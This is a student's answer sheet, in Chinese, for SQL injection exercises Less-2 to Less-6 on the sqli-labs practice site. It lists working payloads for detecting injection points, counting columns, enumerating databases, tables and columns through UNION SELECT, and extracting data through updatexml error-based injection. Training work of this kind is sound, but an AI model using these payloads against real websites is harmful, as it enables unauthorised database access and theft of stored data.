Less-2、3、4、5、6

在kali机上用火狐浏览器访问目标机，要求使用 www.姓名.edu.cn访问SQL注入练习网站，完成Less-2的注入攻击。

① 写出你是如何判断Less-2的注入点的；

② 写出注入攻击中每一关键步骤的注入语句，并附上简要的文字，说明所使用的攻击策略，并将最终爆库的执行结果截图上传，要求截图时必须清晰包含火狐浏览器的访问网址，且要与kali机的ifconfig同屏截图，在图片右下角标上学号后两位。

我的答案：判断是否存在注入：?id=1' 判断字段数：?id=1 order by 3--+ 判断库名：?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 判断表名：?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ 判断列名：?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在kali机上用火狐浏览器访问目标机，要求使用 www.姓名.edu.cn访问SQL注入练习网站，完成Less-3的注入攻击。

① 写出你是如何判断Less-3的注入点的；

② 写出注入攻击中每一关键步骤的注入语句，并附上简要的文字，说明所使用的攻击策略，并将最终爆库的执行结果截图上传，

要求截图时必须清晰包含火狐浏览器的访问网址，且要与kali机的ifconfig同屏截图，在图片右下角标上学号后两位。

我的答案：判断是否存在注入：?id=1') and 1=1 -- qwe 判断字段数：?id=1') order by 3--+ 判断库名：?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 判断表名：?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ 判断列名：?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在kali机上用火狐浏览器访问目标机，要求使用 www.姓名.edu.cn访问SQL注入练习网站，完成Less-4的注入攻击。

① 写出你是如何判断Less-4的注入点的；

② 写出注入攻击中每一关键步骤的注入语句，并附上简要的文字，说明所使用的攻击策略，并将最终爆库的执行结果截图上传，要求截图时必须清晰包含火狐浏览器的访问网址，且要与kali机的ifconfig同屏截图，在图片右下角标上学号后两位。

我的答案：判断是否存在注入：?id=1") and 1=1 -- qwe 判断字段数：?id=1") order by 3 -- qwe 判断库名：?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 判断表名：?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ 判断列名：?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在kali机上用火狐浏览器访问目标机，要求使用 www.姓名.edu.cn访问SQL注入练习网站，完成Less-5的注入攻击。

① 写出你是如何判断Less-5的注入点的；

② 写出注入攻击中每一关键步骤的注入语句，并附上简要的文字，说明所使用的攻击策略，并将最终爆库的执行结果截图上传，要求截图时必须清晰包含火狐浏览器的访问网址，且要与kali机的ifconfig同屏截图，在图片右下角标上学号后两位。

我的答案：判断是否存在注入：?id=1' and 1=1 -- qwe 判断库名：?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe 判断表名：?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe 判断列名：?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1),0x7e),1)-- qwe 这里以emails表为例子

在kali机上用火狐浏览器访问目标机，要求使用 www.姓名.edu.cn访问SQL注入练习网站，完成Less-6的注入攻击。

① 写出你是如何判断Less-6的注入点的；

② 写出注入攻击中每一关键步骤的注入语句，并附上简要的文字，说明所使用的攻击策略，并将最终爆库的执行结果截图上传，要求截图时必须清晰包含火狐浏览器的访问网址，且要与kali机的ifconfig同屏截图，在图片右下角标上学号后两位。

我的答案：判断是否存在注入：?id=1" and 1=1 -- qwe 判断库名：?id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe 判断表名：?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe 判断列名：?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1),0x7e),1)-- qwe 这里以emails表为例子